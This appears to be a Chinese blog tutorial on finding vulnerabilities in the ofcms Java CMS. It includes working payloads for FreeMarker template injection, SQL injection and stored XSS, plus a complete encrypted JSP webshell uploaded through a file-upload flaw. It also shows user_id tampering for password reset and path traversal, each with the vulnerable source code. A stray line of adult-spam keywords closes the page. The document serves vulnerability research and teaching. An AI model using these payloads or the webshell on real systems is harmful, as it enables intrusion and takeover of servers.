<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    細說從0開始挖掘cms-

    VSole2022-08-17 16:26:57

    前言

    挖了一些phpcms的漏洞了,突然想嘗試去挖一下javacms的漏洞,于是寫下這篇文章來記錄一下自己挖洞的一個流程,希望能幫助到一些正在學習挖洞的師傅們。

    確立目標

    挖洞的第一步首先是確立一個目標,也就是找個cms來挖,這里可以通過github,gitee或者谷歌百度直接去搜cms。

    如果挖洞經驗比較少的話建議找一下star少的cms去挖,找到相應的項目,然后點進去,下載源碼,然后看項目的介紹,大致了解一下項目的信息和安裝的過程。

    信息收集

    如果確定了目標,接下來我們可以去了解一下他的項目信息,相應的漏洞等。

    項目信息除了上面的README以為還可以看看issues模塊,這里可能會有一些系統問題或者安裝問題,后續我們可能會遇到

    漏洞信息的話可以通過cnvd或者其他漏洞平臺(直接百度也可以)去查看該系統的漏洞情況。

    或者cnvd查看相應的信息,通過查看相應的信息可以提高我們挖洞的效率,我們從中可以知道該項目已經存在漏洞,我們到時候挖就可以看看相應的地方會不會還存在漏洞或者避免挖到別人挖過的漏洞。

    環境搭建

    上面的信息收集完之后我們就要開始搭建環境了,搭建環境是很關鍵的一步,由于某些cms安裝過程繁瑣或者沒寫好說明,會導致安裝出現很多問題甚至裝不上,這里我們要注意項目的文檔,如果實在安裝有問題可以通過相關渠道去聯系一下作者或者相應的qq群尋求一下幫助。

    本次挖掘的漏洞是ofcms,首先先下載一下源碼,然后解壓丟一邊,回到網頁來看一下項目文檔。

    環境要求

    一般項目都會有寫環境要求的,我們調整一下就好。

    環境準備

    環境解壓完我們用idea打開,如果發現一些重要目錄文件不見了,重開一下就有了。

    數據庫

    首先找到db.properties,如果不能一眼看到可以通過ctrl+shift+f來快速搜索

    /ofcms-admin/src/main/resources/dev/conf/db.properties

    找到了文件,訪問相對應的路徑即可,這里我們修改一下數據庫用戶名和密碼,然后點擊右邊的數據庫來測試連接。

    然后按數據庫信息來修改,然后點擊右邊的數據庫,配置一下。

    如果出現以下的錯誤

    Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.

    這是時區問題,如果配置了環境變量報錯,可以通過以下步驟來解決。

    win+R

    cmd

    mysql -hlocalhost -uroot -p

    (然后輸入數據庫密碼)

    show variables like'%time_zone';

    set global time_zone = '+8:00';

    沒配置環境變量的,看這個文章

    https://blog.csdn.net/liuqiker/article/details/102455077
    

    配置成功效果圖如下

    maven

    右鍵項目找到mavne重新加載項目即可

    tomcat

    在run-configuration中配置tomcat

    在Deployment配置一下

    一切配置好后點擊run啟動就可以了,如果遇到端口報錯改一下端口,其他的報錯就百度一下。

    安裝過程

    這一步就比較簡單了,跟著弄就好了。

    下一步,然后配置好數據庫,這里記得先在數據庫中新建個ofcms的庫,否則會報Unknown database 'ofcms'的錯。

    在這里,正常安裝步驟是建立好數據庫,輸入賬號密碼就等待安裝就好。

    如果出現以下報錯,我們可以通過手工導入數據庫,這一種情況在安裝別的cms也很常見,在安裝遇到數據庫問題我們可以直接導入數據庫。

     You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21
    

    數據庫位置ofcms-master\doc\sql,選擇相應的版本直接拖進navicat中,然后導入成功后刷新一下就好。

    接著將數據庫配置文件db-config.properties文件名修改為db.properties,重啟一下服務。

    漏洞復現

    環境搭建完,我們就可以開始挖洞了,然后在這里我建議是能找到該漏洞已存在的文章,我們就先去復現一下,看看別的師傅們的挖過的漏洞,一方面是防止重復,一方面是可以學習一下別人的挖洞思路。

    ofcms其實存在挺多漏洞的,這里我們就來簡單復現一下,大致看看師傅們的挖洞思路。

    任意文件寫入

    漏洞模板文件這個位置,漏洞的詳細分析可以看看文章

    漏洞復現

    我們選擇任意一個html,然后點擊保存抓包,我們可以看到包的信息。

    這里就是寫入文件,我們在admin目錄下寫入eek1.xml文件。

    通過上面任意文件讀取漏洞去讀取一下

    模板注入漏洞

    漏洞在模板注入,這個漏洞主要是pom.xml引入了freemarker-2.3.21依賴,但是留下一些不安全因素導致的,具體漏洞分析可以看這篇文章。

    漏洞復現

    漏洞復現過程比較簡單,我們直接在html文件中插入payload就可以了

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
    

    插入后直要訪問前臺就會出發payload

    模板注入的知識點可以看看這篇文章

    通過這一個洞,我們可以挖洞的時候可以去注意一下pom.xml引入的模板。

    SQL注入漏洞

    漏洞分析參考文章,由于這里的預編譯處理不起作用,所以可以執行SQL語句。

    漏洞復現

    漏洞點在系統設置---代碼生成---添加----添加表,在這里抓一下包

    直接把payload輸進來

    update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)

    任意文件上傳

    漏洞分析在上一篇文章里有說,這里主要就是利用windows或中間件文件上傳特性來避免結尾為jsp或jspx

    漏洞復現

    找到一個上傳點然后抓包,我這里是在內容管理----欄目管理----新增----新增用戶----上傳附件這里抓包的。

    eek.jsp<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    

    可以看到文件上傳進去,而且內容沒被修改。

    漏洞挖掘

    通過上面的內容,我們學習了別的師傅的挖洞思路,接下來就是我自己的挖洞過程了,下面是我挖的幾個洞。

    首先除了已經存在的漏洞外,我們要大致知道什么漏洞會存在什么地方,例如登錄注冊界面會出現sql漏洞,邏輯漏洞等,留言框可能會出現xss漏洞,上傳頭像界面可能會出現任意文件上傳漏洞等,信息泄露漏洞也可以通過御劍或者其他工具去掃一下。

    XSS漏洞

    漏洞復現

    對于前臺有個客戶案例,選擇其中一個案例,然后有個留言框,這里直接打入xss的payload就可以了。

    漏洞分析

    文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1package com.ofsoft.cms.api.v1;
    import com.jfinal.plugin.activerecord.Db;import com.ofsoft.cms.api.ApiBase;import com.ofsoft.cms.core.annotation.Action;import com.ofsoft.cms.core.api.ApiMapping;import com.ofsoft.cms.core.api.RequestMethod;import com.ofsoft.cms.core.api.check.ParamsCheck;import com.ofsoft.cms.core.api.check.ParamsCheckType;import com.ofsoft.cms.core.utils.IpKit;import java.util.Map;
    /** * 評論接口 * * @author OF * @date 2019年2月24日 */@Action(path = "/comment")public class CommentApi extends ApiBase {    /**     * 獲取內容信息     */    @ApiMapping(method = RequestMethod.GET)    @ParamsCheck(            {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),                    @ParamsCheckType(name = "site_id")})    public void save() {        try {            Map params = getParamsMap();            params.put("comment_ip", IpKit.getRealIp(getRequest()));            Db.update(Db.getSqlPara("cms.comment.save", params));            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson();        }    }
    

    請求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694

    這里直接接受請求,未對content的內容進行檢測,直接將請求的值存入數據庫中,導致存在跨站腳本漏洞。

    邏輯缺陷漏洞1

    本地環境

    現有兩個用戶信息,系統管理員admin和普通管理員eek,如下是系統管理員的界面。

    admin/admin

    eek/123

    超級管理員后臺界面。

    普通管理員后臺界面

    漏洞復現

    我們先以普通管理員登錄

    點擊右上角,修改密碼

    在此處burp抓包

    修改id為1,密碼任意

    修改前admin的密碼是admin

    修改后為admin,密碼是eek

    漏洞分析

    漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法

    ...    public void respwd() {        Mapparams = getParamsMap();        String password = (String) params.get("password");        String newpassword = (String) params.get("newpassword");        if (!password.equals(newpassword)) {            rendFailedJson("兩次密碼不一致!");            return;        }        Record record = new Record();        if (!StringUtils.isBlank(password)) {            password = new Sha256Hash(password).toHex();            record.set("user_password", password);        }        record.set("user_id", params.get("user_id"));        try {            Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson(ErrorCode.get("9999"));        }    }...
    

    在此方法中,后臺對前端界面的id和兩次密碼值進行獲取,然后傳入后端,后端直接將id和密碼傳入數據庫中,讓數據庫直接更新信息。

    這里由于id可控導致用戶可以直接修改任意id的密碼,導致該地方存在任意用戶密碼重置。

    邏輯缺陷漏洞2

    本地環境

    數據庫信息如下圖所示

    現在有超級管理員,admin/123

    普通管理員,eek/123

    漏洞復現

    首先以普通管理員身份登錄,然后點擊右上角,基本資料

    在此處burp抓包

    修改信息,user_id改為1,密碼修改為admin

    以系統管理員身份登錄

    成功登錄

    漏洞分析

    漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法

    ...    public void update() {        Mapparams = getParamsMap();        String password = (String) params.get("password");        if (!StringUtils.isBlank(password)) {            password = new Sha256Hash(password).toHex();            params.put("user_password", password);        }        params.remove("password");
            String roleId = (String) params.get("role_id");        if (!StringUtils.isBlank(roleId)) {            SqlPara sql = Db.getSqlPara("system.user.role_update", params);            Db.update(sql);        }        params.remove("role_id");
            Record record = new Record();        record.setColumns(params);        try {            Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);            rendSuccessJson();        } catch (Exception e) {            e.printStackTrace();            rendFailedJson(ErrorCode.get("9999"));        }}...
    

    在此方法中,后臺管理直接將新增的數據放到數據庫中,直接對數據庫內容進行更新,未對不合法內容進行檢測,導致該地方存在任意用戶信息重置。

    任意文件讀取

    漏洞復現

    找到模板文件

    所對應的路徑是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,這里可以通過目錄穿越來讀取任意文件。

    在他的上兩級有個web.xml文件,我們嘗試讀取一些。

    這里不能直接編輯,burp抓個包。

    web.xml文件如下所示

       "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"        "http://td/web-app_2_3.dtd" >
       Archetype Created Web Application
           org.apache.shiro.web.env.EnvironmentLoaderListener
           shiro       org.apache.shiro.web.servlet.ShiroFilter
        .........
    

    讀取成功

    漏洞分析

    漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于該模塊的getTemplates方法中

    package com.ofsoft.cms.admin.controller.cms;
    ...    public void getTemplates() {        //當前目錄        String dirName = getPara("dir","");        //上級目錄        String upDirName = getPara("up_dir","/");        //類型區分            String resPath = getPara("res_path");        //文件目錄        String dir = null;        if(!"/".equals(upDirName)){              dir = upDirName+dirName;        }else{              dir = dirName;        }        File pathFile = null;        if("res".equals(resPath)){            pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);        }else {            pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);        }
            File[] dirs = pathFile.listFiles(new FileFilter() {            @Override            public boolean accept(File file) {                return file.isDirectory();            }        });        if(StringUtils.isBlank (dirName)){            upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));        }        setAttr("up_dir_name",upDirName);        setAttr("up_dir","".equals(dir)?"/":dir);        setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);        setAttr("dirs", dirs);        /*if (dirName != null) {            pathFile = new File(pathFile, dirName);        }*/        File[] files = pathFile.listFiles(new FileFilter() {            @Override            public boolean accept(File file) {                return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")                        || file.getName().endsWith(".css") || file.getName().endsWith(".js"));            }        });        setAttr("files", files);        String fileName = getPara("file_name", "index.html");        File editFile = null;        if (fileName != null && files != null && files.length > 0) {            for (File f : files) {                if (fileName.equals(f.getName())) {                    editFile = f;                    break;                }            }            if (editFile == null) {                editFile = files[0];                fileName = editFile.getName();            }        }
            setAttr("file_name", fileName);        if (editFile != null) {            String fileContent = FileUtils.readString(editFile);            if (fileContent != null) {                fileContent = fileContent.replace("<", "<").replace(">", ">");                setAttr("file_content", fileContent);                setAttr("file_path", editFile);            }        }        if("res".equals(resPath)) {            render("/admin/cms/template/resource.html");        }else{        render("/admin/cms/template/index.html");        }    }......
    

    這里沒有對dir和dir_name的值進行不合法輸入檢測,導致這里可以進行目錄穿越,然后后面的就只有對文件是否存在進行判斷,若存在則讀取。所以此處存在任意文件讀取漏洞。

    參考鏈接

    https://blog.csdn.net/liuqiker/article/details/102455077https://blog.csdn.net/xd_2021/article/details/123611835https://blog.csdn.net/HBohan/article/details/121422523https://blog.csdn.net/weixin_44522540/article/details/122844068
    
    漏洞挖掘數據庫文件
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近在學習Android APP客戶端漏洞挖掘過程中,對Android APP端漏洞挖掘做了一個基本的梳理總結本節主要是在介紹Android APP漏洞挖掘過程中,使用常見的Android漏洞挖掘工具的安裝和使用辦法,幫助Android漏洞挖掘人員提供便利。本文里面一部分的介紹采摘與網絡博客,大家可以點擊對應的網址進行查看。
    首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。兩種思路:1.審計通用性漏洞2.用大佬已公布的漏洞思路1難度較大,耗時也較長。思路2難度適中,就是需要寫腳本或者使用別人已經寫好的腳本。這是泛微繼與微信企業號合作后,又一個社交化管理平臺的落地成果。簡單的說,一般比較大的企業都會用這個平臺來做一些釘釘或者微信接口對接泛微OA的功能。
    0x01 起源某天比較無聊,聽一個朋友推薦httpscan這款工具,于是就下載下來試試。首先對某學校網段開始進行測試,測試時發現有個比較特殊的標題,一般有這個,證明存在目錄遍歷。這個就又比較開心,看到了phpinfo,這個文件和目錄遍歷漏洞性質也差不多,說大也大,說小也小。phpinfo屬于處在信息收集階段的一個重頭,當有了這些信息,可以看出服務器端調用了那些庫,以及一些敏感路徑,從而進行深入的漏洞挖掘,用途也是很廣的。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    2021年初看到有大佬發了個關于pgadmin4的RCE漏洞。配置sftp:配置python解析器:嘗試1:認證缺陷正常的登錄認證信息為`test@123.com/123456`,但是在黑盒測試過程中發現輸入`1/123456`也可以登錄成功。
    Web 應用通常用于對外提供服務,由于具有開放性的特點,逐漸成為網絡攻擊的重要對象,而漏洞利用是實現 Web 攻擊的主要技術途徑。越權漏洞作為一種常見的高危安全漏洞,被開 放 Web 應 用 安 全 項 目(Open Web Application Security Project,OWASP) 列 入 10 個 最 關 鍵Web 應用程序安全漏洞列表。結合近幾年披露的與越權相關的 Web 應用通
    這里建議doc文檔,圖片可以貼的詳細一些。爆破完好了,一樣的6。想給它一個清晰完整的定義其實是非常困難的。
    一、漏洞挖掘的前期–信息收集 雖然是前期,但是卻是我認為最重要的一部分; 很多人挖洞的時候說不知道如何入手,其實挖洞就是信息收集+常規owasp top 10+邏輯漏洞(重要的可能就是思路猥瑣一點),這些漏洞的測試方法本身不是特別復雜,一般混跡在安全圈子的人都能復現漏洞。接下來我就著重說一下我在信息收集方面的心得。
    涉及系統命令調用和執行的函數在接收用戶的參數輸入時未做檢查過濾,或者攻擊者可以通過編碼及其他替換手段繞過安全限制注入命令串,導致執行攻擊指定的命令。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类